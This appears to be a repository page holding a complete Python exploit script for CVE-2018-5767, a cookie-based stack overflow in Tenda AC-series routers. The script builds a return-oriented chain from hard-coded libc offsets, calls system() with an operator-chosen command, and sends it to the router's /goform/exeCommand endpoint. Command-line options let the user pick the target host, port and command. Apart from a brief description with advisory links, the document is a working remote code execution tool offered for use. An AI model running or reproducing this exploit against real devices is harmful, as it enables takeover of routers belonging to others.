README.md
Rendering markdown...
import argparse
import binascii
import requests
import struct
description = """
The following is an actualization of CVE-2018-5767, a vulnerability which
exploits an unguarded call to sscanf that occurs when parsing the 'Cookie'
header for a password. The vulnerability was initially discovered in, and
reported for, the AC15 model router, but has been rediscovered in several
different routers in this product line. This implementation sees it exploit the
model AC9, which is not presently covered by any CVE. A memory address for the
base of libc known to work on this router is 0x2ad6d000.
See the following for more information:
https://www.cve.org/CVERecord?id=CVE-2018-5767
https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/
https://www.klogixsecurity.com/scorpion-labs-blog/sometimes-exploits-need-patches-too-working-through-a-change-of-address
"""
headers = dict()
headers["Connection"] = "keep-alive"
headers["Upgrade-Insecure-Requests"] = "1"
headers["User-Agent"] = "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36"
headers["Sec-Fetch-User"] = "?1"
headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp/image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
headers["Sec-Fetch-Site"] = "none"
headers["Sec-Fetch-Mode"] = "navigate"
headers["Accept-Encoding"] = "gzip, deflate, br"
headers["Accept-Language"] = "en-US,en;q=0.9"
def exploit(target, port, libc, cmd):
buffer = "A" * 456
gadget1 = struct.pack("<I", libc + 0x00018298)
system = struct.pack("<I", libc + 0x0005a270)
gadget2 = struct.pack("<I", libc + 0x00040cb8)
payload = buffer + \
gadget1.decode("raw_unicode_escape") + \
system.decode("raw_unicode_escape") + \
gadget2.decode("raw_unicode_escape") + \
cmd + ";.gif"
cookies = {"password" : payload}
if (target[0:7] == "http://"):
target_url = "%s:%s/goform/exeCommand" % (target, port)
else:
target_url = "http://%s:%s/goform/exeCommand" % (target, port)
try:
response = requests.get(
target_url,
headers = headers,
cookies = cookies
)
if (response.status_code == 200) and (response.content[2:-2] == cmd):
print("[+] Exploit connected; seems to have worked!")
else:
print("[-] Failed with status code %d." % response.status_code)
print(response.content)
except requests.exceptions.ConnectionError as e:
print("%s" % (str(e)))
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"-t",
"--target",
default = "localhost",
help = "target URL or IP address to throw against")
parser.add_argument(
"-p",
"--port",
type = int,
default = 80,
help = "target port to throw against (default = 80)")
parser.add_argument(
"-l",
"--libc",
default = "0x2ad6d000",
help = "estimated base address of libc (default = 0x2ad6d000)")
parser.add_argument(
"-c",
"--command",
default = "exit",
help = "command(s) to be run on target (default = exit)")
parser.add_argument(
"-v",
"--verbose",
action = "store_true",
help = "increase output verbosity (currently not implemented)")
parser.add_argument(
"-a",
"--about",
action = "store_true",
help = "print information about this vulnerability then exit")
args = parser.parse_args()
if args.about:
print(description)
exit()
exploit(
args.target,
args.port,
int(args.libc, 16),
args.command
)
return 0
if __name__ == "__main__":
main()